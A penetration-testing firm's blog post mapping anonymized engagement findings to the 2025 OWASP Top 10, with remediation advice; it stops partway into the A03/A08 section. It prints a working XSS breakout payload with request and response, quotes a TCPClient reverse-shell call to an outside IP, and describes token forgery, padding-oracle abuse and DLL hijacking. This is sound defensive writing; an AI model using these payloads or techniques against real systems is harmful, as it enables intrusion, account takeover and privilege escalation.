Beyond the Scanner: Lares OWASP Top 10 Findings

Beyond the Scanner: Lares OWASP Top 10 Findings

Beyond the Scanner: Lares OWASP Top 10 Findings 150 150 Lares Labs

Where real OWASP Top 10 findings emerge in Lares application security testing

Security leaders have spent the last decade shifting left, wiring SAST, DAST, and SCA into CI/CD, and celebrating ever‑cleaner scan dashboards. Yet when the Lares AppSec team takes an application from “zero findings” to full compromise, it is almost never because a scanner missed a basic syntax bug.

The 2025 OWASP Top 10 reflects the same reality. The highest‑risk categories are no longer just about isolated input flaws. They center on broken access controls, insecure designs, cryptographic misuse, and applications that fail open when something unexpected occurs. These are exactly the places where automated tooling struggles and manual application security testing wins.

This guide is written for AppSec leaders, product security owners, and CISOs who rely on scan output to measure risk. It is the attacker’s lens on the 2025 OWASP Top 10: what security scanners miss, where real exploit paths begin, and what to change in your program so “zero criticals” actually means resilient software.

In the sections that follow, you’ll see:

  • Real Lares engagement findings mapped to each 2025 OWASP Top 10 category
  • How were those issues were evaded or downplayed by common AppSec tooling
  • Practical questions and tests you can use to pressure‑test your own applications

Lares helped define modern red teaming, co‑authored PTES, and contributes to MITRE ATT&CK. Our engineers test applications the way real adversaries operate, with realistic tradecraft, clear findings, and practical remediation guidance. This blog distills those field results, with client details anonymized and several case study sections reserved for final engagement‑specific detail before publication.

The illusion of coverage

Automated tools are mandatory for baseline hygiene. They catch obvious injection points, missing patches, and unsafe libraries, and they scale better than any human team. The problem is not that scanners are useless. The problem is that scanners are stateless, context‑blind, and almost entirely unaware of business logic.

OWASP’s 2025 update makes that limitation harder to ignore. Broken Access Control (A01), Insecure Design (A06), Authentication Failures (A07), and Mishandling of Exceptional Conditions (A10) all require understanding how an application is supposed to behave, not just how it parses input. SAST and DAST can flag patterns, but they cannot determine which users are allowed to move which funds, view which records, or call which internal microservices.

What scanners see vs what Lares sees

Scans report zero criticals
Lares still moves money between tenants and crosses customer boundaries through broken access controls.
Libraries are patched
Lares chains business logic flaws, crypto misuse, and design gaps into privilege escalation and data exposure.
Dashboards show clean XSS and SQLi results
Lares finds injection paths in analytics tags, secondary sinks, and complex workflows.
Error rates look normal
Lares forces applications into exceptional conditions where recovery logic silently fails open.

That gap is where Lares works. Automation finds low‑hanging fruit. Manual testing, stateful analysis, and adversarial thinking find the flaws that actually lead to compromise. The remainder of this piece walks category by category through real findings where scan‑clean applications still failed under realistic adversary pressure.

If your dashboards look clean, ask yourself this before you trust them:

Which of these categories in my environment are measured only by scanners and attestations, and where have we actually tested how the application behaves under realistic adversary pressure?

A01: Broken Access Control, logic over syntax

Access control failures remain one of the most important risks in the 2025 OWASP Top 10, and they are also some of the least amenable to push‑button scanning. A scanner sees a 200 OK and a syntactically valid JSON response. It does not know that the response contains another tenant’s data.

🔍 What scanners usually miss in A01

  • Authorization enforced only in the UI or client.
  • Direct object references that rely on predictable IDs.
  • Cross‑tenant data exposure hidden behind 200 OK responses.
  • Business rules that depend on state or sequence, not input validation alone.

Field note from Lares Engineering

A retail banking application provides a funds-transfer feature. The intended behavior is that a customer may transfer money only between accounts they own, the recipient is chosen from a dropdown menu, and the selected recipient account number is submitted to the server as a parameter in the transfer request.

The engagement was a black-box web application assessment conducted with two independent test accounts.

1. The security control the client relied on

The client's sole control over transfer destinations was the client-side dropdown menu. The set of selectable recipient accounts was constrained only in the browser, and the application assumed customers would only ever submit a destination drawn from that list.

There was no corresponding server-side authorization check. The back end did not verify that the recipient account number submitted in the request actually belonged to the authenticated customer or to the customer's set of permitted destinations. The security boundary existed entirely in the user interface.

This is the canonical client-side-enforcement anti-pattern (CWE-602: Client-Side Enforcement of Server-Side Security). An access control that lives only in the UI is not a control from an attacker's perspective, because the attacker controls the client.

2. How the issue was uncovered

The flaw was confirmed using a two-account methodology and request manipulation:

  1. Establish an unauthorized target. A second test account, unaffiliated with the first, was used to obtain account numbers that the first account had no owner relationship with and therefore should not have been able to transfer to.
  2. Capture a legitimate request. From the first account, a normal transfer was initiated through the dropdown menu (selecting a permitted destination), and the resulting HTTP transfer request was intercepted.
  3. Tamper with the object reference. The recipient account number in the captured request was manually replaced with an account number belonging to the second test account, then forwarded. The server processed the transfer to the non-permitted destination.

Because the recipient account number is a direct object reference with no server-side authorization, the request could be modified to target accounts the first account did not own.

The recipient value could also be incremented to enumerate and target other existing accounts, an IDOR / broken object-level authorization condition (CWE-639: Authorization Bypass Through User-Controlled Key).

The issue was compounded by the absence of an anti-replay nonce. The transfer request carried no per-request token, so a captured request could be replayed repeatedly, enabling automated enumeration of valid account numbers (by incrementing the recipient) and repeated execution of transfers (CWE-294).

3. Business impact

An authenticated customer can transfer their own funds to any existing account at the institution, rather than only to accounts they own. The recipient object reference crosses the customer-ownership boundary, defeating the application's intended ownership constraint on transfers.

Scoped precisely to what was tested:

  • Demonstrated: Moving the tester's own funds to a non-owned destination. Confirmed against the second test account, and reachable for arbitrary accounts via recipient enumeration. Intended behavior was to transfer only to accounts the customer owns; actual behavior allowed transfer to any existing account.
  • Compounding weakness: The lack of an anti-replay nonce makes the attack trivially repeatable and automatable, and allows account-number enumeration by incrementing the recipient value.
  • Not exploitable in this case: The tester could not move funds out of accounts they did not own. The flaw permits directing the customer's own funds to arbitrary destinations; it did not enable draining third-party balances.
  • No PII exposure: Submitting an arbitrary recipient account number did not return the account holder's name or any other personal data. Enumeration confirmed the existence of account numbers, but did not disclose account-holder identity.
  • Not tested: Whether the same technique also bypasses transfer limits, beneficiary verification, or AML/sanctions screening was not exercised in this engagement. These are recommended for follow-up validation and are not claimed as demonstrated impact.

4. Why automated scanning would likely have missed or under-ranked it

This is an authorization and business-logic flaw, which is the category automated tooling is weakest at:

  • A successful unauthorized transfer is indistinguishable from a successful authorized one: When the tampered request is submitted, the server returns a normal success response. A DAST scanner keys on errors, anomalies, and known signatures; an authorized-looking 200 OK for a money transfer is invisible to it as a vulnerability.
  • IDOR requires an authorization oracle the scanner does not have: Detecting that account 1 should not be able to reference account 2's number requires a model of who owns what across two separate identities. That context came from the two-account test setup and human judgment about intended ownership. A scanner has no concept of the ownership relationship and cannot decide whether a given recipient value is authorized.
  • The constraint is invisible to a crawler: Because the only restriction was the client-side dropdown, an automated crawler sees only the legitimate destination values. It has no signal that the recipient parameter is a sensitive object reference that should be authorized server-side, so it would not substitute a foreign account number and evaluate the outcome against business intent.
  • It would be under-ranked even if it surfaced: A scanner might independently flag the missing anti-CSRF/anti-replay token as a generic, low-severity hygiene item. It would not connect that to enabling recipient enumeration and repeatable unauthorized fund movement. The true severity derives entirely from the business context, money moving to arbitrary accounts, which a human must recognize and rate.

CWE mapping

  • CWE-602 : Client-Side Enforcement of Server-Side Security (dropdown-only control)
  • CWE-639 : Authorization Bypass Through User-Controlled Key (IDOR on the recipient account number)
  • CWE-862 / CWE-285 : Missing Authorization / Improper Authorization (no server-side ownership check on the recipient)
  • CWE-294 : Authentication Bypass by Capture-replay (no anti-replay nonce)
  • CWE-799 : Improper Control of Interaction Frequency (enables enumeration and repeated execution)

Remediation summary

  • Enforce the destination constraint server-side: On every transfer, verify that the recipient account belongs to the authenticated customer's set of permitted destinations. Deny by default; never rely on the UI to constrain the value.
  • Treat the recipient as an authorized object reference: Validate ownership/permission for the specific recipient on the server, independent of any client-supplied list, or map the user's selection to a server-side identifier that cannot be substituted for an arbitrary account.
  • Add anti-replay protection: Issue a per-request nonce / transaction token so captured transfer requests cannot be replayed, and consider non-sequential account identifiers to frustrate enumeration.
  • Add identity-aware authorization tests: Create a regression suite asserting that a customer cannot initiate a transfer to an account they do not own.

A06: Insecure Design, when architecture is the vulnerability

Insecure Design is where otherwise “correct” code turns into dangerous systems because of trust, architecture, and workflow decisions. It matters in 2025 because the highest‑impact compromises Lares sees come not from single input bugs, but from features that can be driven out of context, chained together, or abused by low‑privileged users in ways the designers never anticipated.

🔍 What scanners usually miss in A06

  • Legitimate features (like scripting or automation) that can be repurposed as full command execution.
  • Trust assumptions about who can invoke powerful workflows and under what identity.
  • Chains of individually “reasonable” design choices that create high‑impact attack paths when combined.
  • Architectural decisions about privilege, outbound access, and tenancy that only show up when you model the whole system, not a single endpoint.

Field note from Lares Engineering

One case study from our Lares engineer, Luke Turvey, involved a software platform that intentionally exposes PowerShell and VBScript execution so customers can build their own task automation. The application was not compromised through an injection flaw or an unpatched CVE. It was compromised because the platform’s architecture extended full trust to a feature built for legitimate use. When first seeing this functionality, the Lares consultant’s theory was that a low-level user might be permitted to author automation scripts that were then executed server-side, and that if the automation service ran as the local administrator account, this could lead to compromise. The path from that assumption to full compromise was short.

To begin the review and understand what was possible, a PowerShell script was submitted through the automation UI to test outbound connectivity. It called out over SMB to an internet-hosted listener and captured the service account’s NTLM hash in the process. This was a useful but not immediately actionable result, as no login service such as RDP or WMI was exposed to make use of it.

Following this, a second script used .NET’s socket classes to open a raw TCP connection and hold it open, giving the tester an interactive reverse shell into the underlying server. Once connected, the command whoami /priv confirmed that the automation account delivering the shell held local administrator rights on the host. What started as an intended scripting feature had become full command-line control of the server running the application. The individual pieces of this exploit did not stand out on their own, but together they created a serious attack path.

  • Script execution was a documented, customer-facing functionality, not a defect.
  • Running the automation service as a local administrator was an operational choice, as Windows automation tasks routinely need that level of access to install modules or manage scheduled jobs.
  • The host itself had no direct inbound exposure, sitting behind the web application.

Each design decision was reasonable in isolation. It was the combination of unrestricted code execution, local administrator privilege, and unrestricted outbound access that turned a supported feature into full host compromise.

For a typical organization running this software, the platform would be joined to the organization’s own Active Directory domain rather than run as an isolated cloud tenant. In that case, the same attack chain would extend well past the single server, potentially leading to full domain compromise.

It is not trivial to remedy this design choice, as incorporating user-controllable data into the scripts is the purpose of the application. However, several changes can be made to harden the solution. The scripting engine had no allow list or constrained language mode, so nothing restricted which functions or .NET namespaces a script could call. Introducing an allow list of permitted functions, the same approach taken by the well-known Jenkins software, would address this: if a submitted script used a function that was not allowed, such as System.Net.Sockets.TCPClient("54.84.64.28", 3333) to create a reverse connection to an attack server, the script would be rejected. The underlying server could also be set up to use AppLocker to limit the use of more sensitive applications, scripts, and installers.

To complement this, ephemeral environments could be considered: hosts built from a golden image and powered on only temporarily to run a task. Once the task finishes, the ephemeral host is destroyed, so sensitive data is never retained for long and any malicious connection, such as the reverse shell above, is severed when the host is torn down. Setting a predefined time to live enforces this even if a task hangs. This is a common design concept in cloud computing, typically used with a hub-and-spoke architecture, where the automation server acts as the hub and each task runs on a disposable spoke.

No scanner would have surfaced this. There was no malformed input to detect, no broken parser throwing errors, and no CVE to match against. Exploiting it took an authenticated session and the judgment to test whether a supported feature could be pushed past its intended boundary. This is a trust and architecture problem, not a syntax problem, and it is exactly the class of finding that separates adversarial manual testing from automated coverage.

Remediation summary

  • Treat powerful “platform” features (scripting, automation, extensibility) as potential attack surfaces and subject them to threat modeling, not just functional testing.
  • Require constrained execution environments for customer‑authored code: allow lists, limited language modes, and host controls like AppLocker to prevent arbitrary command execution.
  • Design for least privilege at the service level: automation and orchestration components should not routinely run as local administrators or domain‑level accounts.
  • Use ephemeral or disposable execution hosts for high‑risk workloads, so a compromised environment does not become a long‑lived foothold.

A10: Mishandling of Exceptional Conditions, failing open

A10:2025 is a new OWASP category focused on mishandling exceptional conditions, including improper error handling, logical errors, and applications that fail open rather than fail safely. The underlying problem is not new. Applications have been failing open in edge cases for years. What is new is the explicit recognition that these flaws deserve their own category.

Scanners almost never test invalid‑but‑plausible states. They send well‑formed requests with malicious payloads and check responses for signatures. Human attackers do the opposite. They intentionally break assumptions about sequence, content type, storage, and timing to see how the application reacts.

🔍 What scanners usually miss in A10

  • Exceptional or degraded modes where performance or availability is prioritized over security and business rules.
  • Retry storms, partial outages, and queue backlogs that silently change how validation is applied.
  • Error‑handling logic that commits partial state or bypasses checks when “something goes wrong.”
  • Cross‑service workflows in which one component assumes that another has already enforced the appropriate controls.

Field note from Lares Engineering

This case study comes from a Lares assessment of a customer‑facing ecommerce platform that used an asynchronous order‑processing pipeline. Under normal conditions, a checkout service validated cart totals, discounts, and payment authorization, then wrote an “approved order” record and pushed a job into a fulfillment queue. A downstream service pulled jobs from the queue to capture funds and release shipments.

To understand how the system behaved under stress, the consultant first mapped the workflow: web checkout, order database, queue, payment capture, and warehouse fulfillment, each with its own retry and error‑handling logic.

The consultant then began to deliberately push the platform into exceptional states:

  • The checkout service was throttled and periodically crashed mid‑transaction, after writing an order record but before successfully enqueuing the corresponding job.
  • The queue was flooded with low‑value test orders to create a backlog and delay normal processing.
  • Timeouts were introduced between the checkout service and the queue, resulting in generic “could not enqueue job” errors in the logs, while the underlying orders were left marked internally as “approved.”

Under this pressure, an unexpected behavior surfaced. When the downstream payment service saw orders in the database marked as “approved” but found no matching job in the queue, it entered a recovery routine designed to reconcile discrepancies. Rather than re‑running the full set of business checks (discount validity, maximum order value, fraud rules), that routine assumed the “approved” flag was authoritative and unilaterally created payment‑capture jobs for any record in that state.

The intended rule was clear: no customer order should be charged or shipped unless it has passed all business validations and a successful checkout has been completed. In exceptional conditions, that rule failed open. Any record that reached the approved state in the database, whether through normal workflow or partial failure, would eventually be charged and sent to fulfillment.

To demonstrate impact, the consultant:

  1. Crafted a checkout request that violated a key business rule, such as stacking mutually exclusive discount codes or exceeding a hard maximum order value.
  2. Triggered a controlled crash of the checkout service after it wrote the “approved” flag but before enqueuing the job.
  3. Allowed the downstream recovery routine to run as designed.

Despite the violation, the customer’s payment was captured, and the order moved to shipment. The system treated “approved in the database” as sufficient proof of validity and never re‑applied the business rules before charging the card and releasing goods. The failure was not in the happy‑path logic, which behaved correctly under normal load, but in the exceptional path that silently bypassed validation whenever the queue and checkout service disagreed.

In a production environment, this behaviour could lead to unauthorized charges, shipment of goods without proper validation, and bypassing fraud or limit controls, turning transient failures into direct financial and reputational risk. 

Why automated scanning would likely have missed or under‑ranked it

This is a state and workflow problem, not a classic input flaw:

  • A scanner exercising the checkout endpoint would only see normal responses and generic errors; it would not orchestrate the specific combination of partial failures, retries, and recovery routines needed to hit the failing state.
  • The vulnerability depended on how multiple services handled timeouts and internal flags, behavior invisible to tools that only observe HTTP requests and responses.
  • Even if a scanner generated enough load to trigger errors, it would not correlate a particular exception path with violation of a business rule downstream. That required mapping the workflow and understanding the intended constraints around discounts, limits, and fraud checks.

Remediation summary

  • Treat exceptional and degraded modes as first‑class design concerns in customer‑facing workflows: document how each component should behave under partial failure and validate that business rules still hold.
  • Require that recovery routines re‑apply critical business validations before committing state or charging customers, rather than assuming prior steps succeeded.
  • Include adversarial test cases in your AppSec and QA programs that deliberately crash services, induce timeouts, and create queue discrepancies to see how checkouts, payments, and shipments behave in “invalid‑but‑plausible” states.
  • Make “fail safely” an explicit requirement for A10‑style scenarios, with tests that confirm the system blocks or rolls back risky operations instead of silently proceeding.

A05: Injection, where bypasses live now

Injection remains one of the few categories where scanners genuinely excel at catching the basics, which is exactly why many mature teams underestimate the residual risk. In 2025, the real damage comes from injections that ride on encoded data, analytics tags, secondary sinks, and chained behaviors that sit well outside the classic SQLi and XSS test cases most tools and developers think about. 

🔍 What scanners usually miss in A05

  • Parameters that are reflected into JavaScript analytics or templating logic rather than traditional views.
  • Context‑dependent injection paths that only become dangerous when combined with specific encoding or script structure.
  • Payloads that need to break out of data structures (objects, arrays, tags) instead of simply being inserted into HTML or SQL.
  • Chained conditions where WAFs and filters block obvious payloads but leave subtle, hand‑crafted ones untouched.

Field note from Lares Engineering

One case study from our Lares engineer, Josh Kocher, came from an ecommerce website that was discovered to be echoing parameters from the HTTP GET request for a product into the product page. This wasn’t unique to any one product turning the entire ecommerce site into an attack surface.

After discovery of the reflection of the ds parameter in the response, the consultant analyzed the response and determined that this parameter was being put into a javascript portion of the website unencoded. The reflection of this parameter can be seen in the request and response below.

 

HTTP GET Request:

GET /store/jump/product/Product_Name/1000989139?simRec=true&ds=Reflected()<> HTTP/2
Host: myretailer.com
[snip]


HTTP Response:

HTTP/2 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: Tue, 04 Dec 1993 21:29:02 GMT
Content-Language: en-US
Dc: ORD
X-Edgeconnect-Midmile-Rtt: 45
X-Edgeconnect-Origin-Mex-Latency: 9
X-Akamai-Transformed: 9 - 0 pmb=mRUM,2
Date: Wed, 19 Feb 2025 00:58:51 GMT
[snip]
<script id="analytics-ensighten">
_DataLayer = {
"pagename": "Product ID 12345 – Product_Name",
"site": "myretailer.com",
"siteName": "MyRetailer",
"pageType": "Up-Sell: Product",
"recommendationSource": "Reflected()<>"
};
[snip]

At this point, creating the payload was a trivial exercise in simply ending the _DataLayer structure and inserting the XSS payload into the JavaScript. This was possible using the following payload.
Product_Name”}; alert(document.domain); //

Submitted to the request this payload was reflected as written into the JavaScript, producing an alert dialog executing in the context of the myretailer.com site.

HTTP GET Request:

GET /store/jump/product/Product_Name/1000989139?simRec=true&ds=Product_Name%1d%7d%3b%20alert(document.domain) %3b%20%2f%2f%20 HTTP/2
Host: myretailer.com
[snip]

HTTP Response:

HTTP/2 200 OK
Cache-Control: no-cache
Pragma: no-cache
Content-Type: text/html; charset=utf-8
Expires: Tue, 04 Dec 1993 21:29:02 GMT
Content-Language: en-US
Dc: ORD
X-Edgeconnect-Midmile-Rtt: 45
X-Edgeconnect-Origin-Mex-Latency: 9
X-Akamai-Transformed: 9 - 0 pmb=mRUM,2
Date: Wed, 19 Feb 2025 00:58:51 GMT
[snip]
<script id="analytics-ensighten">
_DataLayer = {
"pagename": "Product ID 12345 – Product_Name",
"site": "myretailer.com",
"siteName": "MyRetailer",
"pageType": "Up-Sell: Product",
"recommendationSource": "Product_Name"
}; alert(document.domain); // ”
[snip]

As seen in the screenshot below, the execution of the JavaScript occurred when browsing to the URL of the product.

A vulnerability such as this would have gotten picked up by a scanner, though often protections are in place such as a WAF that will prevent trivial exploitation of XSS vulnerabilities. However, it should be noted that WAF bypasses are discovered frequently and reliance on these protections as the only line of defense is discouraged. Instead, an in-depth approach should be taken, and all input should be checked to ensure that only expected values and formats for parameters are accepted by the application. Additionally, all user supplied input that is reflected in responses should be properly encoded to prevent the potential execution of JavaScript.

Remediation summary

  • Expand your injection threat models beyond classic SQLi/XSS to include analytics, logging, and third‑party script integrations as potential sinks.
  • Require context‑aware output encoding for any user‑controlled data that enters JavaScript, templates, or analytics tags, not just visible page content.
  • Incorporate adversarial test cases that aim to break out of data structures and script blocks, rather than relying solely on scanner payload libraries.
  • Periodically review WAF and filter rules against real manual attack traces to ensure they are tuned for modern bypass techniques, not just legacy signatures.

A07: Authentication Failures, client-side crypto and multi-step flows

Authentication Failures in 2025 are less about weak passwords and more about how identity and trust are implemented across complex, multi‑step flows. Designs that push critical checks into client‑side code, rely on bespoke token schemes, or chain authentication through email and recovery paths create attack surfaces that scanners struggle to reason about but Lares regularly exploits in practice.

Two patterns recur in Lares A07 findings. Security-critical checks are implemented partially or fully in client-side logic. Or state machine bugs allow users to skip, replay, or manipulate steps in ways that invalidate the entire security promise.

🔍 What scanners usually miss in A07

  • Custom token schemes where correctness of the algorithm hides a broken trust model.
  • Secrets embedded in client‑side bundles that silently turn “strong” authentication into forgeable signatures.
  • Multi‑step flows (MFA enrollment, password reset, profile change) that can be abused or reordered to gain control of accounts.
  • Authentication logic split between client and server, where client‑side checks are treated as security rather than convenience.

Field note from Lares Engineering

This case study comes from Lares engineer Luke Turvey. The application he assessed relied entirely on custom signed tokens, both to authenticate users and to sign the data sent to the server in HTTP requests. An example of these signed elements is presented below:

POST /api/user/update HTTP/2
Host: api.acme.com
Content-Type: application/x-www-form-urlencoded
Authorization: $0:112656da380a894e2d1e45a6312e554ee31b3b7acd9d84adb03b0572373d9091
Authdate: 2025-11-25 16:40:46 +0000
Accept: */*
Content-Length: 288

data=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9eyJ1c2VyX3V1aWQiOiI3MTMxNEU1Mi1FRDY0LTQ0MjEtQUE2OUI2OUVENTY5NTY5NiIsImZpcnN0bmFtZSI6IllPVVJGSVJTVE5BTUUiLCJsYXN0bmFtZSI6IllPVVJMQVNUTkFNRSIsImVtYWlsIjoiWU9VUkVNQUlMIiwidXNlcm5hbWUiOiJZT1VSVVNFUk5BTUUifQ==

Both of these elements were signed with HMAC-SHA256. On paper this is a reasonable design: HMAC-SHA256 is a sound algorithm, and a token signed with it cannot be forged without the signing key. However, the security of the whole scheme rested on a single assumption, that the signing key was known only to the server.

That assumption did not hold. The application was a single-page app whose entire client had been compiled into one JavaScript bundle and shipped to the browser. Reviewing that bundle, the consultant found the HMAC signing secret hardcoded directly in the shipped code.

Anything delivered to the browser is readable by whoever receives it. The one secret that the entire authentication scheme depended on was sitting in clear view, available to any user who cared to open the JavaScript bundle. The same review recovered the exact construction of the custom authentication token header, which was simply

Authorization: $0:sha256(authdate + "::" + secret).hexdigest()

With nothing more than the current date and the now-known secret that was hardcoded in publicly readable JavaScript, a valid Authorization value could be produced.

From there, the base64-encoded data parameter could be crafted and signed with the same hardcoded key. That parameter contained information about the authenticating user, so it was trivial to manipulate its value to impersonate other users on the platform.

So, with the hardcoded key, an attacker could forge any token and become any user.

To demonstrate impact, the consultant targeted a profile-update endpoint that authenticated callers using the custom header and a signed data parameter, both of which could now be forged. A request was crafted that changed a target user's profile, including their email address, to values the attacker controlled. With the account's email now pointing at an attacker-controlled inbox, a standard password reset completed the takeover.

Nothing here was a broken cryptographic primitive. HMAC-SHA256 worked exactly as designed, and every token the server accepted was, technically, correctly signed. A check that only asked whether tokens were properly signed would have passed. The failure was in the trust model: an authentication scheme whose entire security depends on a secret, implemented in a way that ships that secret to every client. Once the key is public, valid signatures prove nothing.

The fix is architectural rather than a single patch. Signing has to happen server-side, with the secret held in server-side configuration and never embedded in client code or compiled bundles. Better still, an asymmetric algorithm such as RS256 removes the shared secret entirely: the server signs with a privately held key and distributes only a public verification key, so there is no shared secret left to leak.

A scanner was never going to fully find and validate this issue. It may spot an embedded secret but it would not reconstruct a bespoke signing formula, or reason that a validly signed token is forgeable because the key is public, let alone chain a profile update into an email change into a password reset into full account takeover. Surfacing it took reading the client-side code, understanding how the tokens were actually built and trusted, and following that trust model to the point where it broke.

That is the kind of authentication failure that only manual, flow-aware testing reliably finds.

Remediation summary

  • Ban client‑side secrets for authentication and signing; perform all token signing server‑side with keys held in protected configuration.
  • Prefer well‑understood, asymmetric algorithms and standard protocols (JWT with RS256, OAuth/OIDC) over bespoke schemes that are hard to analyze and test.
  • Threat‑model multi‑step flows like password reset, email change, and MFA enrollment together, ensuring no single step can be abused to take over accounts.
  • Include manual, code‑aware testing of client bundles and authentication state machines in your AppSec program, not just endpoint fuzzing and rate‑limit checks.

A04: Cryptographic Failures, implementation over algorithms

Most teams hear “cryptographic failures” and think of TLS versions, weak hashes, or expired certificates. Those still matter, and tools already catch most of them. The real risk Lares sees in 2025 lies in implementation: how state, keys, and ciphertext are handled in real workflows, especially where legacy components or bespoke routines shape the crypto around business logic. 

Padding oracles, predictable IVs, and unauthenticated encryption modes remain common in business applications, especially where legacy components or bespoke crypto routines are still in place.

A padding oracle attack uses the padding validation of a cryptographic message to decrypt the ciphertext. The attack relies on an oracle that responds with whether a given message is correctly padded, and it is most commonly associated with CBC-mode decryption in block ciphers.

🔍 What scanners usually miss in A04

  • Predictable or reused initialization vectors and nonces that break basic assumptions about confidentiality.
  • Encryption modes (like CBC without integrity) that protect secrecy but leave tokens fully malleable.
  • Response differences on cryptographic errors that quietly create oracles attackers can use to decrypt and forge data.
  • Custom token formats where sensitive fields (user IDs, roles) live in plaintext inside “opaque” encrypted blobs.

Field note from Lares Engineering

A representative case involved a customer-facing API that issued encrypted bearer tokens. The consultant generated several tokens for the two test accounts provided and, after base64-decoding them, observed that each token began with the same 16-byte sequence when it was issued within the same second. This indicated that AES was being used in CBC (Cipher Block Chaining) mode with a static or reused initialization vector and a 16-byte block size. The tokens were opaque, and every value looked random, so the presence of encryption was taken as evidence that their contents were protected.

To test for a padding oracle, the consultant brute-forced the final byte of a token block using Burp Suite and watched the responses. A token that decrypted to valid padding but then failed authentication returned a 401 Unauthorized. A token that decrypted to invalid padding returned a 500 Internal Server Error. That difference between the two responses was the oracle. Note that a padding oracle may confirm more than one byte because a trailing 0x02 can be validated against both a guessed 0x01 and a guessed 0x02, and the decryption logic must account for this.

With the oracle confirmed, the consultant wrote a script to recover a block of plaintext one byte at a time, without any knowledge of the encryption key. The recovered block was human-readable and ended with repeated 0x04 bytes, the PKCS7 padding that the backend strips during decryption. Tokens of this type routinely carry a user identifier and a role in that plaintext.

The decryption was not the most serious part. A padding oracle can be used to encrypt as well as decrypt, a technique described by Juliano Rizzo and Thai Duong in their paper Practical Padding Oracle Attacks. Used in reverse, it let the consultant assemble ciphertext the server accepted as correctly padded and produce a token that decrypted to a chosen value. Promoting the role in that plaintext from a standard user to an administrator produces a token the application mints and trusts as its own. The consultant proved the primitive and stopped there, rather than forging a live administrative token against production data, as the exploitable path was already established. As with the broken access control covered in A01, the outcome was unauthorized privilege, reached here through the cryptographic layer rather than a missing authorization check. CBC protects the confidentiality of the data but does nothing for its integrity, so a forged token was accepted as genuine.

The finding came from three design flaws:

  • The initialization vector was generated from epoch seconds, so it was predictable and repeated for tokens issued in the same second.
  • The API returned different responses for valid and invalid padding, which handed the attacker an oracle.
  • CBC was used with no integrity protection over the ciphertext, so a tampered or forged token was never rejected on cryptographic grounds.

The most effective way to close a padding oracle is to remove the signal it depends on. The API should return one uniform response for any invalid or unauthenticated token, regardless of whether the failure was bad padding or a bad token. Initialization vectors should be generated from a cryptographically secure random source and never reused. The CBC mode should be replaced with an authenticated mode such as AES-GCM (Galois/Counter Mode), which attaches an integrity tag to the ciphertext and rejects anything altered or fabricated.

An automated scanner would have seen none of this. The tokens were encrypted, the responses were valid HTTP, and there was no malformed input and no CVE to match against. Surfacing the issue meant generating tokens in bulk to spot the repeated IV, brute forcing padding bytes through a proxy, reading the difference between a 401 and a 500, and writing a script to turn that difference into plaintext.

Remediation summary

  • Treat token and crypto designs as part of application architecture, not just library choices; threat‑model how keys, IVs, and modes are used end‑to‑end.
  • Standardize on modern, authenticated encryption modes (AES‑GCM or equivalent) and prohibit bespoke combinations of ciphers, padding, and integrity checks.
  • Enforce uniform error responses for all invalid or unauthenticated tokens so cryptographic behavior never becomes an oracle.
  • Include targeted tests for padding oracles, IV predictability, and token malleability in your AppSec program, especially for custom bearer tokens and session artifacts.

A02: Security Misconfiguration, where the environment matters

Security misconfiguration has become increasingly important because modern applications are a patchwork of containers, cloud services, middleware, and host‑level dependencies. Some of this space is scannable: default passwords, open ports, and weak headers are easy to spot. The highest‑impact misconfigurations Lares sees live in the relationship between the application and its environment, where deployment choices and OS behavior quietly turn minor issues into full compromise. 

Much of it is not, especially where the problem lives in the relationship between the application and the underlying environment. That is why Lares regularly finds misconfigurations that app-layer scanners miss entirely. They only become visible when the application is treated as part of a broader system.

🔍 What scanners usually miss in A02

  • Misaligned file system permissions, service accounts, and OS search paths that combine into privilege escalation.
  • Missing or phantom dependencies that become DLL‑hijacking or library‑load opportunities for low‑privileged users.
  • Installation and deployment defaults that quietly grant excessive access to application directories or configuration files.
  • Cross‑layer interactions where a “harmless” writable directory plus a service running as SYSTEM equals remote code execution.

Field note from Lares Engineering

This Lares case study came from our engineer, Luke Turvey during a review of a network monitoring product that used a web server to display statistics and handle configuration. Rather than stopping at web application testing, Lares went beyond the typical web-application scope and also examined the binaries the product installed alongside it.

One such binary was SFTPserver, a component from “n\ software” used to transfer files to the underlying host. It was installed into C:\SFTPServer by default.

Inspecting that directory’s permissions showed that any standard user could create files and folders inside it:

On its own this looked harmless, because none of the files already present could be modified. But the weakness was in how the bundled service resolved its dependencies.

SFTPserver.exe called out for several DLLs that did not exist in its installation directory. Using Procmon to watch the loader at runtime, the consultant confirmed multiple DLLs returning PATH NOT FOUND:

Because the directory was writable by any standard user, those missing names were an open invitation: a low-privileged user could drop a malicious DLL under one of them, and the service would load and execute it the next time it started.

To prove this attack vector, a proof-of-concept DLL which would open a CMD shell was planted in the software directory and was observed to open when loading the application:

What made this a full privilege escalation rather than a curiosity was the context the service ran in. SFTPserver.exe is a service binary that runs as SYSTEM and starts automatically at boot.

A standard user who planted a DLL and waited for the next server restart would have their code executed as SYSTEM, the highest privilege level on the host.

From there, the usual local and domain escalation paths open up. Even without a restart, if an administrator launched the application, the planted DLL would run with that administrator’s privileges instead.

This finding existed because of a combination of two weaknesses:

  • The network monitoring product installs SFTPserver into C:\SFTPServer and leaves standard users able to create files there, a deployment and host-permissions problem.
  • SFTPserver references DLLs that are never shipped with it, leaving named gaps in a directory it loads from, an application-behaviour problem.

That split is exactly why this belongs under Security Misconfiguration. The flaw did not live in any single line of code; it lived in the relationship between an application’s loader behaviour and the operating system’s DLL search order, exposed by a directory permission set during installation.

Fixing it properly needed changes from both vendors:

  • “n\ software” needed to remove the phantom DLL references from SFTPserver.
  • The network monitoring product’s developers needed to stop granting standard users create permissions on C:\SFTPServer during installation.

More generally, the application should load its dependencies from fully qualified paths and constrain its DLL search order rather than trusting its working directory.

An application-layer scanner would have seen none of this. There was no web request to fuzz, no payload, and no CVE to match. Surfacing this issue required looking at the whole picture, not just the web application: enumerating the binaries the product installed, checking directory ACLs, and using Procmon to watch how a service resolved its dependencies at runtime.

The correlation between a writable path and a missing dependency is invisible to any tool that tests the application in isolation from the environment it runs in, and it is precisely the kind of misconfiguration that only manual, host-aware testing reliably finds.

A03, A08, and A09: what Lares does not usually see in black-box testing

Not every OWASP category shows up as a first‑class finding in adversarial web application testing. Three stand out for different reasons: A03 Software Supply Chain Failures, A08 Software or Data Integrity Failures, and A09 Security Logging and Alerting Failures. These matter, but they rarely appear as primary findings in standard external web application assessments. 

A03 & A08: upstream of the app

